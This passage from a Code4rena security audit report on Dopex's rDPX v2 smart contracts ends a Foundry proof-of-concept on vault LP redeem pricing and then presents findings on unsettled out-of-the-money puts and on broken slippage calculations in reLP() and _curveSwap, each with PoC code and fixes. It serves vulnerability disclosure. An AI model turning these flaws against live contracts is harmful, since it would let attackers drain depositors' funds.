    uint256 tokenId = purchase(100 ether, address(this)); // 0.015 gwei * 100 ether / 0.1 gwei = 15 ether collateral activated

    skip(86500); // expires epoch 1
    vault.updateFunding();
    vault.updateFundingPaymentPointer();
    uint256[] memory strikes = new uint256[](1);
    strikes[0] = 0.015 gwei;
    uint256 fundingAccrued = vault.calculateFunding(strikes);
    uint256[] memory tokenIds = new uint256[](1);
    tokenIds[0] = tokenId;

    // The market moves against `rdpx` and the puts are now in the money
    priceOracle.updateRdpxPrice(0.010 gwei);

    vm.startPrank(address(this), address(this));
    (uint256 ethAmount, uint256 rdpxAmount) = vault.settle(tokenIds);
    vm.stopPrank();

    /// ---------------- POC STARTS HERE -------------------------------------------------///
    // The user intending to swap deposits 1 WETH into the `VaultLP`
    vm.startPrank(address(4));
    weth.approve(address(vaultLp), 1 ether);
    uint256 userShares = vaultLp.deposit(1 ether, address(4));
    vm.stopPrank();

    // For the POC we get a quote at the current price of 0.010 gwei of WETH per rdpx

    console.log("Deposit swap from WETH to RDPX - Part 1");
    console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice());
    console.log("User gets:");
    uint256 userBalance = vaultLp.balanceOf(address(4));
    (uint256 wethUser, uint256 rdpxUser) = vaultLp.redeemPreview(userBalance);
    console.log("WETH: ", wethUser);
    console.log("rdpx: ", rdpxUser);

    console.log("");
    // For the POC we get another quote at the current price of 0.010 gwei of WETH per rdpx
    console.log("Deposit swap from WETH to RDPX - Part 2");
    priceOracle.updateRdpxPrice(0.020 gwei);
    console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice());
    console.log("User gets:");
    (uint256 wethUserPart2, uint256 rdpxUserPart2) = vaultLp.redeemPreview(userBalance);
    console.log("WETH: ", wethUserPart2);
    console.log("rdpx: ", rdpxUserPart2);

    // We assert that the user still gets the same amount of rdpx regardless of the price
    assertEq(rdpxUser, rdpxUserPart2);

    // We change the `_rdpxCollateral`
    mintRdpx(10 ether, address(vault));
    vm.startPrank(address(vault));
    rdpx.transfer(address(vaultLp), 10 ether);
    vaultLp.addRdpx(10 ether);
    vm.stopPrank();

    // Now we test that the amount of `rdpx` returned changes in response to more underlying `rdpx` received
    console.log("");
    console.log("Deposit swap from WETH to RDPX - Part 3");
    priceOracle.updateRdpxPrice(0.020 gwei);
    console.log("Current rdpxPriceInEth: ", vault.getUnderlyingPrice());
    console.log("User gets:");
    (uint256 wethUserPart3, uint256 rdpxUserPart3) = vaultLp.redeemPreview(userBalance);
    console.log("WETH: ", wethUserPart3);
    console.log("rdpx: ", rdpxUserPart3);

    // We assert that we will receive more `rdpx` for the same amount of `WETH`
    assertGt(rdpxUserPart3, rdpxUserPart2);
    assertEq(wethUserPart3, wethUserPart2);
  }

Tools Used

Foundry

Recommended Mitigation Steps

When calling redeem, calculate the amount of rdpx the depositor should receive using up-to-date rdpxPriceInEth.

Consider disallowing immediate deposit and redeem calls through some mechanism.

psytama (Dopex) acknowledged

[M-03] No mechanism to settle out-of-money put options even after Bond receipt token is redeemed.

Submitted by 0Kage, also found by peakbolt, pep7siup, ABA, 0xnev, and zzebra83

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L333

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L800

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L376

In the current implementation of PerpetualAtlanticVault::settle, the only way an optionId can be burnt is when the option is in-the-money. Note that at the time of bonding, a put option that is 25% out of the money is purchased by user. If the RDPX-ETH price is above this price, the option is rolled over to the next epoch and a new premium is again calculated inside the PerpetualAtlanticVault::calculateFunding and added to the totalFundingForEpoch.

Effectively, as long as the option is out of money, the funding cost continues to be deducted from core contract and passed to Atlantic vault LPs. There is no check if the underlying bond for which this put option is minted is redeemed or not.

Not completely sure if this is bug or feature of Perpetual Atlantic Puts but since the utility of these puts is to protect downside price movements of RDPX during bonding, such options should be retired once the underlying bond is redeemed by user. Paying out a premium on a perennial basis to Atlantic LP’s does not make sense.

Impact

There are 2 implications:

1. Atlantic vault LPs collateral will be locked so long as option is out of money. This is because optionStrikes[strike] never reduces so long as the option continues to be OTM.
2. Core contract continues to pay out funding costs for OTM options that cannot be settled.

Recommended Mitigation Steps

Consider settling optionIds that no longer have an underlying bonding. Put options for such bonds should expire and free up locked collateral in Atlantic Vaults.

psytama (Dopex) confirmed

[M-04] reLP() mintokenAAmount the calculations are wrong

Submitted by bin2chen, also found by Toshii, QiuhaoLi, sces60107, 0Kage, flacko, ubermensch, ether_sky, qpzm, kutugu, pep7siup, gjaldon, carrotsmuggler, mert_eren, said, 0xDING99YA, tapir, Yanchuan, and deadrxsezzz

in reLP() , Calculating mintokenAAmount using the wrong formula can invalidate the slippage protection

Proof of Concept

ReLPContract.reLP()The implementation is as follows:

  function reLP(uint256 _amount) external onlyRole(RDPXV2CORE_ROLE) {
...

@>  mintokenAAmount =
@>    (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8) -
@>    (((amountB / 2) * tokenAInfo.tokenAPrice * slippageTolerance) / 1e16);

    uint256 tokenAAmountOut = IUniswapV2Router(addresses.ammRouter)
      .swapExactTokensForTokens(
        amountB / 2,
        mintokenAAmount,
        path,
        address(this),
        block.timestamp + 10
      )[path.length - 1];

    (, , uint256 lp) = IUniswapV2Router(addresses.ammRouter).addLiquidity(
      addresses.tokenA,
      addresses.tokenB,
      tokenAAmountOut,
      amountB / 2,
      0,
      0,
      address(this),
      block.timestamp + 10
    );

    // transfer the lp to the amo
    IERC20WithBurn(addresses.pair).safeTransfer(addresses.amo, lp);
    IUniV2LiquidityAmo(addresses.amo).sync();

    // transfer rdpx to rdpxV2Core
    IERC20WithBurn(addresses.tokenA).safeTransfer(
      addresses.rdpxV2Core,
      IERC20WithBurn(addresses.tokenA).balanceOf(address(this))
    );
    IRdpxV2Core(addresses.rdpxV2Core).sync();
  }

The formula for calculating mintokenAAmount in the above code is ((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8

amountB is the amount of tokenB, but tokenAInfo.tokenAPrice is the price of tokenA, which shouldn’t be multiplied together

The correct one should be

((amountB / 2) * 1e8 / tokenAInfo.tokenAPrice)

Recommended Mitigation Steps

  function reLP(uint256 _amount) external onlyRole(RDPXV2CORE_ROLE) {
...

-    mintokenAAmount =
-     (((amountB / 2) * tokenAInfo.tokenAPrice) / 1e8) -
-     (((amountB / 2) * tokenAInfo.tokenAPrice * slippageTolerance) / 1e16);

+    mintokenAAmount =  ((amountB / 2) * 1e8 / tokenAInfo.tokenAPrice) * (1e8 - slippageTolerance) / 1e8;

    uint256 tokenAAmountOut = IUniswapV2Router(addresses.ammRouter)
      .swapExactTokensForTokens(
        amountB / 2,
        mintokenAAmount,
        path,
        address(this),
        block.timestamp + 10
      )[path.length - 1];

    (, , uint256 lp) = IUniswapV2Router(addresses.ammRouter).addLiquidity(
      addresses.tokenA,
      addresses.tokenB,
      tokenAAmountOut,
      amountB / 2,
      0,
      0,
      address(this),
      block.timestamp + 10
    );

    // transfer the lp to the amo
    IERC20WithBurn(addresses.pair).safeTransfer(addresses.amo, lp);
    IUniV2LiquidityAmo(addresses.amo).sync();

    // transfer rdpx to rdpxV2Core
    IERC20WithBurn(addresses.tokenA).safeTransfer(
      addresses.rdpxV2Core,
      IERC20WithBurn(addresses.tokenA).balanceOf(address(this))
    );
    IRdpxV2Core(addresses.rdpxV2Core).sync();
  }

psytama (Dopex) confirmed

[M-05] _curveSwap: getDpxEthPrice and getEthPrice is in wrong order

Submitted by QiuhaoLi, also found by 0xvj, Toshii, bin2chen, Udsen, sces60107, carrotsmuggler, bart1e, said, T1MOH, 0xDING99YA, SBSecurity, wintermute, and pep7siup

When _curveSwap is called with minAmount = 0 (upperDepeg/lowerDepeg use the default slippage 0.5%), the minOut will be a wrong value which leads to slippage protect failure.

Proof of Concept

In _curveSwap, the getDpxEthPrice and getEthPrice is in wrong order:

    uint256 minOut = _ethToDpxEth
      ? (((_amount * getDpxEthPrice()) / 1e8) -
        (((_amount * getDpxEthPrice()) * slippageTolerance) / 1e16))
      : (((_amount * getEthPrice()) / 1e8) -
        (((_amount * getEthPrice()) * slippageTolerance) / 1e16));

When _ethToDpxEth is true, we swap eth for dpxeth. However, we use getDpxEthPrice, which is dpxeth’s price in eth (dpxeth/eth). Also, when we swap dpxeth for eth, we use getEthPrice which is eth’s price in dpxeth.

Below is a PoC that demonstrates we get the wrong slippage when calling upperDepeg with default slippage tolerance:

// add this to _curveSwap
    amountOut = dpxEthCurvePool.exchange(
      _ethToDpxEth ? int128(int256(a)) : int128(int256(b)),
      _ethToDpxEth ? int128(int256(b)) : int128(int256(a)),
      _amount,
      minAmount > 0 ? minAmount : minOut
    );
    if (!_ethToDpxEth) {
      console.log("getDpxEthPrice = %s > 1e8, swap %s dpxEth for Eth (0.5% slippage):", getDpxEthPrice(), _amount);
      console.log("minOut (wrong slippage) = \t%s", minOut);
      uint256 ideal_Out = (_amount * getDpxEthPrice()) / 1e8;
      uint256 correct_minOut = (ideal_Out - (((_amount * getDpxEthPrice()) * slippageTolerance) / 1e16));
      console.log("minOut (correct slippage) = \t%s", correct_minOut);
      console.log("Actual got Eth amountOut = \t%s", amountOut);
      console.log("Actual slippage = \t\t%s% > 0.5%", (ideal_Out - amountOut)*1e2/ideal_Out);
    }